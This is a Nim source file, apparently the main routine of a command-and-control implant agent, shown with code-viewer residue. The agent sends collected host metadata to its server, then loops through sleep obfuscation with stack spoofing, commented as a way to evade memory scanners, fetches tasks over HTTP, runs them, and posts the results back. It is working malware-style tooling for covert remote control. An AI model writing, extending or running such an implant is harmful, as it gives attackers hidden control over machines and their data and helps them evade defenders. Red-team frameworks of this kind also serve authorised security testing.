74 lines
2.4 KiB
Nim
74 lines
2.4 KiB
Nim
import strformat, os, times, system, base64
|
|
|
|
import core/[http, context, sleepmask, coff]
|
|
import protocol/[task, result, heartbeat, registration]
|
|
import ../modules/manager
|
|
import ../common/[types, utils, crypto]
|
|
|
|
proc main() =
|
|
|
|
# Initialize agent context
|
|
var ctx = AgentCtx.init()
|
|
if ctx == nil:
|
|
quit(0)
|
|
|
|
# Load agent commands
|
|
loadModules()
|
|
|
|
# Create registration payload
|
|
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
|
let registrationBytes = ctx.serializeRegistrationData(registration)
|
|
|
|
if not ctx.httpPost(registrationBytes):
|
|
echo "[-] Agent registration failed."
|
|
quit(0)
|
|
echo fmt"[+] [{ctx.agentId}] Agent registered."
|
|
|
|
#[
|
|
Agent routine:
|
|
1. Sleep Obfuscation
|
|
2. Retrieve task from /tasks endpoint
|
|
3. Execute task and post result to /results
|
|
4. If additional tasks have been fetched, go to 2.
|
|
5. If no more tasks need to be executed, go to 1.
|
|
]#
|
|
|
|
while true:
|
|
|
|
# Sleep obfuscation with stack spoofing to evade memory scanners
|
|
var spoofStack = true
|
|
sleepObfuscate(ctx.sleep * 1000, FOLIAGE, spoofStack)
|
|
|
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
|
echo "\n", fmt"[*] [{date}] Checking in."
|
|
|
|
try:
|
|
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
|
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
|
|
var heartbeat: Heartbeat = ctx.createHeartbeat()
|
|
let
|
|
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
|
|
packet: string = ctx.httpGet(heartbeatBytes)
|
|
|
|
if packet.len <= 0:
|
|
echo "[*] No tasks to execute."
|
|
continue
|
|
|
|
let tasks: seq[Task] = ctx.deserializePacket(packet)
|
|
|
|
if tasks.len <= 0:
|
|
echo "[*] No tasks to execute."
|
|
continue
|
|
|
|
# Execute all retrieved tasks and return their output to the server
|
|
for task in tasks:
|
|
var result: TaskResult = ctx.handleTask(task)
|
|
let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
|
|
|
|
ctx.httpPost(resultBytes)
|
|
|
|
except CatchableError as err:
|
|
echo "[-] ", err.msg
|
|
|
|
when isMainModule:
|
|
main() |